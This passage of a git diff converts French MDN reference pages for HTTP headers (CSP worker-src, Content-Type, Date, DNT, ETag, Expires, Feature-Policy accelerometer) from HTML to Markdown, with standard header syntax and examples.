Edge 17 ne consulte pas la directive {{CSP("script-src")}} (bug).

-
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: worker-src <source>;
-Content-Security-Policy: worker-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: worker-src https://example.com/
- -

{{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}} seront bloqués et ne se chargeront pas :

- -
<script>
-  var blockedWorker = new Worker("data:application/javascript,...");
-  blockedWorker = new SharedWorker("https://not-example.com/");
-  navigator.serviceWorker.register('https://not-example.com/sw.js');
-</script>
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-worker-src", "worker-src")}}{{Spec2('CSP 3.0')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/worker-src/index.md b/files/fr/web/http/headers/content-security-policy/worker-src/index.md new file mode 100644 index 0000000000..fd9ee4f21f --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/worker-src/index.md @@ -0,0 +1,98 @@ +--- +title: 'CSP: worker-src' +slug: Web/HTTP/Headers/Content-Security-Policy/worker-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/worker-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) worker-src spécifie les sources valides pour les scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
Valeur par défaut +

Si cette directive est absente, l'agent utilisateur consultera d'abord la directive {{CSP("child-src")}}, puis la directive {{CSP("script-src")}} et enfin la directive {{CSP("default-src")}}, concernant la gestion l'exécution des workers.

+ +

Chrome 59 et plus ne consultent pas la directive {{CSP("child-src")}}.

+ +

Edge 17 ne consulte pas la directive {{CSP("script-src")}} (bug).

+
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: worker-src <source>;
+Content-Security-Policy: worker-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: worker-src https://example.com/
+ +

{{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}} seront bloqués et ne se chargeront pas :

+ +
<script>
+  var blockedWorker = new Worker("data:application/javascript,...");
+  blockedWorker = new SharedWorker("https://not-example.com/");
+  navigator.serviceWorker.register('https://not-example.com/sw.js');
+</script>
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-worker-src", "worker-src")}}{{Spec2('CSP 3.0')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-type/index.html b/files/fr/web/http/headers/content-type/index.html deleted file mode 100644 index 18b02ea29b..0000000000 --- a/files/fr/web/http/headers/content-type/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Content-Type -slug: Web/HTTP/Headers/Content-Type -tags: - - HTTP - - Reference - - en-tête -translation_of: Web/HTTP/Headers/Content-Type ---- -
{{HTTPSidebar}}
- -

L'en-tête Content-Type sert à indiquer le type MIME de la ressource.

- -

Dans les réponses, un en-tête Content-Type indique au client le type de contenu réellement renvoyé. Il peut arriver que les navigateurs cherchent à détecter le type MIME du contenu en l'inspectant plutôt qu'en respectant la valeur de cet en-tête. Pour empêcher ce comportement, on peut paramétrer l'en-tête {{HTTPHeader("X-Content-Type-Options")}} avec la valeur nosniff.

- -

Dans les requêtes, (telles que {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}), le client indique au serveur quel type de données a réellement été envoyé.

- - - - - - - - - - - - - - - - -
Type d'en-têteEn-tête d'entité
Nom d'en-tête interditNon
En-tête de réponse simple pour le CORSOui
- -

Syntaxe

- -
Content-Type: text/html; charset=utf-8
-Content-Type: multipart/form-data; boundary=something
-
- -

Directives

- -
-
media-type
-
Le type MIME de la ressource ou des données.
-
charset
-
L'encodage utilisé pour les caractères des données.
-
boundary
-
Pour les entités fragmentées (multipart), la directive boundary est nécessaire. Elle ne se termine pas par un espace et est composée de 1 à 70 caractères qui proviennent d'un ensemble de caractères connus pour ne pas être transformés/modifiés par les différents composants au travers desquels transitent les emails. Cette directive est utilisée afin d'encapsuler les limites des différents fragments d'un message fragmenté.
-
- -

Exemples

- -

Content-Type dans les formulaires HTML

- -

Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formulaire HTML, le Content-Type de la requête est précisé par l'attribut enctype de l'élément {{HTMLElement("form")}}.

- -
<form action="/" method="post" enctype="multipart/form-data">
-  <input type="text" name="description" value="du texte">
-  <input type="file" name="monFichier">
-  <button type="submit">Envoyer</button>
-</form>
-
- -

La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :

- -
POST /toto HTTP/1.1
-Content-Length: 68137
-Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
-Content-Disposition: form-data; name="description"
-
----------------------------974767299852498929531610575
-
-du texte par ici
-
----------------------------974767299852498929531610575
-Content-Disposition: form-data; name="monFichier"; filename="toto.txt"
-Content-Type: text/plain
-
-(contenu du fichier envoyé en ligne toto.txt)
-
----------------------------974767299852498929531610575
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7233", "Content-Type in multipart", "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
{{RFC("7231", "Content-Type", "3.1.1.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité selon les navigateurs

- -

{{Compat("http/headers/content-type")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-type/index.md b/files/fr/web/http/headers/content-type/index.md new file mode 100644 index 0000000000..18b02ea29b --- /dev/null +++ b/files/fr/web/http/headers/content-type/index.md @@ -0,0 +1,115 @@ +--- +title: Content-Type +slug: Web/HTTP/Headers/Content-Type +tags: + - HTTP + - Reference + - en-tête +translation_of: Web/HTTP/Headers/Content-Type +--- +
{{HTTPSidebar}}
+ +

L'en-tête Content-Type sert à indiquer le type MIME de la ressource.

+ +

Dans les réponses, un en-tête Content-Type indique au client le type de contenu réellement renvoyé. Il peut arriver que les navigateurs cherchent à détecter le type MIME du contenu en l'inspectant plutôt qu'en respectant la valeur de cet en-tête. Pour empêcher ce comportement, on peut paramétrer l'en-tête {{HTTPHeader("X-Content-Type-Options")}} avec la valeur nosniff.

+ +

Dans les requêtes, (telles que {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}), le client indique au serveur quel type de données a réellement été envoyé.

+ + + + + + + + + + + + + + + + +
Type d'en-têteEn-tête d'entité
Nom d'en-tête interditNon
En-tête de réponse simple pour le CORSOui
+ +

Syntaxe

+ +
Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+
+ +

Directives

+ +
+
media-type
+
Le type MIME de la ressource ou des données.
+
charset
+
L'encodage utilisé pour les caractères des données.
+
boundary
+
Pour les entités fragmentées (multipart), la directive boundary est nécessaire. Elle ne se termine pas par un espace et est composée de 1 à 70 caractères qui proviennent d'un ensemble de caractères connus pour ne pas être transformés/modifiés par les différents composants au travers desquels transitent les emails. Cette directive est utilisée afin d'encapsuler les limites des différents fragments d'un message fragmenté.
+
+ +

Exemples

+ +

Content-Type dans les formulaires HTML

+ +

Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formulaire HTML, le Content-Type de la requête est précisé par l'attribut enctype de l'élément {{HTMLElement("form")}}.

+ +
<form action="/" method="post" enctype="multipart/form-data">
+  <input type="text" name="description" value="du texte">
+  <input type="file" name="monFichier">
+  <button type="submit">Envoyer</button>
+</form>
+
+ +

La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) :

+ +
POST /toto HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+---------------------------974767299852498929531610575
+
+du texte par ici
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="monFichier"; filename="toto.txt"
+Content-Type: text/plain
+
+(contenu du fichier envoyé en ligne toto.txt)
+
+---------------------------974767299852498929531610575
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7233", "Content-Type in multipart", "4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
{{RFC("7231", "Content-Type", "3.1.1.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité selon les navigateurs

+ +

{{Compat("http/headers/content-type")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/date/index.html b/files/fr/web/http/headers/date/index.html deleted file mode 100644 index e882e72fdd..0000000000 --- a/files/fr/web/http/headers/date/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Date -slug: Web/HTTP/Headers/Date -translation_of: Web/HTTP/Headers/Date ---- -
{{HTTPSidebar}}
- -

L'en-tête général HTTP Date contient la date et l'heure d'origine du message.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name ")}}oui
- -

Syntaxe

- -
Date: <day-name>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
-
- -

Directives

- -
-
<day-name>
-
L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).
-
<day>
-
Numéro de jour à 2 chiffres, par ex. "04" ou "23".
-
< month>
-
L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
-
< year>
-
Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".
-
< hour>
-
Numéro d'heure à 2 chiffres, par exemple "09" or "23".
-
< minute>
-
Numéro d'heure à 2 chiffres, par exemple "04" or "59".
-
< second>
-
Numéro de seconde à 2 chiffres, par exemple "04" or "59".
-
GMT
-
Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.
-
- -

Exemples

- -
Date: Wed, 21 Oct 2015 07:28:00 GMT
- -

Spécifications

- - - - - - - - - - - - -
SpécificationsTitre
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Date")}}

- -

See also

- - diff --git a/files/fr/web/http/headers/date/index.md b/files/fr/web/http/headers/date/index.md new file mode 100644 index 0000000000..e882e72fdd --- /dev/null +++ b/files/fr/web/http/headers/date/index.md @@ -0,0 +1,76 @@ +--- +title: Date +slug: Web/HTTP/Headers/Date +translation_of: Web/HTTP/Headers/Date +--- +
{{HTTPSidebar}}
+ +

L'en-tête général HTTP Date contient la date et l'heure d'origine du message.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name ")}}oui
+ +

Syntaxe

+ +
Date: <day-name>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
+
+ +

Directives

+ +
+
<day-name>
+
L'un des mots "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ou "Sun" (sensible à la casse).
+
<day>
+
Numéro de jour à 2 chiffres, par ex. "04" ou "23".
+
< month>
+
L'un des mots "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
+
< year>
+
Numéro d'année à 4 chiffres, par exemple "1990" ou "2018".
+
< hour>
+
Numéro d'heure à 2 chiffres, par exemple "09" or "23".
+
< minute>
+
Numéro d'heure à 2 chiffres, par exemple "04" or "59".
+
< second>
+
Numéro de seconde à 2 chiffres, par exemple "04" or "59".
+
GMT
+
Temps sur le Méridien de Greenwich. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.
+
+ +

Exemples

+ +
Date: Wed, 21 Oct 2015 07:28:00 GMT
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationsTitre
{{RFC("7231", "Date", "7.1.1.2")}}Hypertext Transfer Protocol (HTTP/1.1) : Sémantique et contenu
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Date")}}

+ +

See also

+ + diff --git a/files/fr/web/http/headers/dnt/index.html b/files/fr/web/http/headers/dnt/index.html deleted file mode 100644 index 225e0911e2..0000000000 --- a/files/fr/web/http/headers/dnt/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: DNT -slug: Web/HTTP/Headers/DNT -translation_of: Web/HTTP/Headers/DNT ---- -
{{HTTPSidebar}}
- -

Le header de requête DNT (Do Not Track) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.

- - - - - - - - - - - - -
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
- -

Syntax

- -
DNT: 0
-DNT: 1
-
- -

Directives

- -
-
0
-
L'utilisateur préfère autoriser son suivi sur le site cible.
-
1
-
L'utilisateur préfère ne pas être suivi sur le site cible.
-
- -

Exemples

- -

Lire le statut Do Not Track avec JavaScript

- -

La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :

- -
navigator.doNotTrack; // "0" ou "1"
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatusCommentaire
{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}{{Spec2("Tracking")}}Définition initiale.
- -

Compatibilité navigateur

- -

{{Compat("http.headers.DNT")}}

- -

Voyez aussi

- - diff --git a/files/fr/web/http/headers/dnt/index.md b/files/fr/web/http/headers/dnt/index.md new file mode 100644 index 0000000000..225e0911e2 --- /dev/null +++ b/files/fr/web/http/headers/dnt/index.md @@ -0,0 +1,81 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +translation_of: Web/HTTP/Headers/DNT +--- +
{{HTTPSidebar}}
+ +

Le header de requête DNT (Do Not Track) indique que les préférences de l'utilisateur concernant le suivi publicitaire. Il permet aux utilisateurs d'indiquer s'ils préfèrent leur vie privée au lieu d'un contenu personnalisé.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Syntax

+ +
DNT: 0
+DNT: 1
+
+ +

Directives

+ +
+
0
+
L'utilisateur préfère autoriser son suivi sur le site cible.
+
1
+
L'utilisateur préfère ne pas être suivi sur le site cible.
+
+ +

Exemples

+ +

Lire le statut Do Not Track avec JavaScript

+ +

La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :

+ +
navigator.doNotTrack; // "0" ou "1"
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatusCommentaire
{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}{{Spec2("Tracking")}}Définition initiale.
+ +

Compatibilité navigateur

+ +

{{Compat("http.headers.DNT")}}

+ +

Voyez aussi

+ + diff --git a/files/fr/web/http/headers/etag/index.html b/files/fr/web/http/headers/etag/index.html deleted file mode 100644 index ed941a5b6c..0000000000 --- a/files/fr/web/http/headers/etag/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: ETag -slug: Web/HTTP/Headers/ETag -tags: - - HTTP - - Reference - - Response - - header -translation_of: Web/HTTP/Headers/ETag ---- -
{{HTTPSidebar}}
- -

L'en-tête de réponse ETag HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").

- -

Si la ressource à une URL donnée change, une nouvelle valeur Etag doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.

- - - - - - - - - - - - -
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
ETag: W/"<etag_value>"
-ETag: "<etag_value>"
-
- -

Directives

- -
-
W/ {{optional_inline}}
-
'W/' (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs Etag faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.
-
"<etag_value>"
-
Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme "675af34563dc-tr34"). La méthode par laquelle les valeurs ETag sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.
-
- -

Exemples

- -
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
-ETag: W/"0815"
- -

Évitement des collisions en vol

- -

A l'aide des en-têtes ETag et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.

- -

Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un Etag dans la réponse :

- -
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
- -

Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.

- -
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
- -

Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} Precondition Failed est déclenchée.

- -

Mise en cache des ressources inchangées

- -

Un autre cas d'utilisation typique de l'en-tête ETag est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'ETag), et qu'elle est périmée, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son ETag dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :

- -
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
- -

Le serveur comparera l'ETag du client (envoyé avec If-None-Match) à l'ETag de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).

- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7232", "ETag", "2.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.ETag")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/etag/index.md b/files/fr/web/http/headers/etag/index.md new file mode 100644 index 0000000000..ed941a5b6c --- /dev/null +++ b/files/fr/web/http/headers/etag/index.md @@ -0,0 +1,101 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +tags: + - HTTP + - Reference + - Response + - header +translation_of: Web/HTTP/Headers/ETag +--- +
{{HTTPSidebar}}
+ +

L'en-tête de réponse ETag HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").

+ +

Si la ressource à une URL donnée change, une nouvelle valeur Etag doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
ETag: W/"<etag_value>"
+ETag: "<etag_value>"
+
+ +

Directives

+ +
+
W/ {{optional_inline}}
+
'W/' (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs Etag faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.
+
"<etag_value>"
+
Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme "675af34563dc-tr34"). La méthode par laquelle les valeurs ETag sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.
+
+ +

Exemples

+ +
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"
+ +

Évitement des collisions en vol

+ +

A l'aide des en-têtes ETag et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.

+ +

Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un Etag dans la réponse :

+ +
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.

+ +
If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} Precondition Failed est déclenchée.

+ +

Mise en cache des ressources inchangées

+ +

Un autre cas d'utilisation typique de l'en-tête ETag est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'ETag), et qu'elle est périmée, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son ETag dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :

+ +
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ +

Le serveur comparera l'ETag du client (envoyé avec If-None-Match) à l'ETag de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).

+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7232", "ETag", "2.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.ETag")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/expires/index.html b/files/fr/web/http/headers/expires/index.html deleted file mode 100644 index 99e9e44e7a..0000000000 --- a/files/fr/web/http/headers/expires/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Expires -slug: Web/HTTP/Headers/Expires -translation_of: Web/HTTP/Headers/Expires ---- -
{{HTTPSidebar}}
- -

Le header Expires contient la date/heure après laquelle la réponse est considérée comme dépréciée.

- -

Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.

- -

Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header Expires sera ignoré.

- - - - - - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
- -

Syntaxe

- -
Expires: <http-date>
-
- -

Directives

- -
-
<http-date>
-
-

An HTTP-date timestamp.

-
-
- -

Exemples

- -
Expires: Wed, 21 Oct 2015 07:28:00 GMT
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7234", "Expires", "5.3")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Expires")}}

- -

See also

- - diff --git a/files/fr/web/http/headers/expires/index.md b/files/fr/web/http/headers/expires/index.md new file mode 100644 index 0000000000..99e9e44e7a --- /dev/null +++ b/files/fr/web/http/headers/expires/index.md @@ -0,0 +1,73 @@ +--- +title: Expires +slug: Web/HTTP/Headers/Expires +translation_of: Web/HTTP/Headers/Expires +--- +
{{HTTPSidebar}}
+ +

Le header Expires contient la date/heure après laquelle la réponse est considérée comme dépréciée.

+ +

Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.

+ +

Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header Expires sera ignoré.

+ + + + + + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
+ +

Syntaxe

+ +
Expires: <http-date>
+
+ +

Directives

+ +
+
<http-date>
+
+

An HTTP-date timestamp.

+
+
+ +

Exemples

+ +
Expires: Wed, 21 Oct 2015 07:28:00 GMT
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7234", "Expires", "5.3")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Expires")}}

+ +

See also

+ + diff --git a/files/fr/web/http/headers/feature-policy/accelerometer/index.html b/files/fr/web/http/headers/feature-policy/accelerometer/index.html deleted file mode 100644 index 20d123a97b..0000000000 --- a/files/fr/web/http/headers/feature-policy/accelerometer/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'Feature-Policy: accelerometer' -slug: Web/HTTP/Headers/Feature-Policy/accelerometer -tags: - - Accéléromètre - - Directive - - Feature Policy - - Feature-Policy - - HTTP - - Reference -translation_of: Web/HTTP/Headers/Feature-Policy/accelerometer ---- -

{{HTTPSidebar}} {{SeeCompatTable}}

- -

La directive accelerometer de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.

- -

Syntaxe

- -
Feature-Policy: accelerometer <listePermissions>;
- -
-
<listePermissions>
-
{{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}
-
- -

Valeur par défaut

- -

La valeur par défaut est 'self'.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{SpecName('Feature Policy')}}{{Spec2('Feature Policy')}}Définition initiale.
{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}{{Spec2('Accelerometer')}}
- -

Compatibilité des navigateurs

- -

{{Compat('http.headers.Feature-Policy.accelerometer')}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/feature-policy/accelerometer/index.md b/files/fr/web/http/headers/feature-policy/accelerometer/index.md new file mode 100644 index 0000000000..20d123a97b --- /dev/null +++ b/files/fr/web/http/headers/feature-policy/accelerometer/index.md @@ -0,0 +1,64 @@ +--- +title: 'Feature-Policy: accelerometer' +slug: Web/HTTP/Headers/Feature-Policy/accelerometer +tags: + - Accéléromètre + - Directive + - Feature Policy + - Feature-Policy + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Feature-Policy/accelerometer +--- +

{{HTTPSidebar}} {{SeeCompatTable}}

+ +

La directive accelerometer de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.

+ +

Syntaxe

+ +
Feature-Policy: accelerometer <listePermissions>;
+ +
+
<listePermissions>
+
{{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}
+
+ +

Valeur par défaut

+ +

La valeur par défaut est 'self'.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{SpecName('Feature Policy')}}{{Spec2('Feature Policy')}}Définition initiale.
{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}{{Spec2('Accelerometer')}}
+ +

Compatibilité des navigateurs

+ +

{{Compat('http.headers.Feature-Policy.accelerometer')}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/feature-policy/index.html b/files/fr/web/http/headers/feature-policy/index.html deleted file mode 100644 index 355056996d..0000000000 --- a/files/fr/web/http/headers/feature-policy/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Feature-Policy -slug: Web/HTTP/Headers/Feature-Policy -tags: - - Authorization - - Experimental - - Feature Policy - - Feature-Policy - - HTTP - - Permissions - - Reference - - Security - - Web - - header -translation_of: Web/HTTP/Headers/Feature-Policy ---- -
{{HTTPSidebar}}
- -

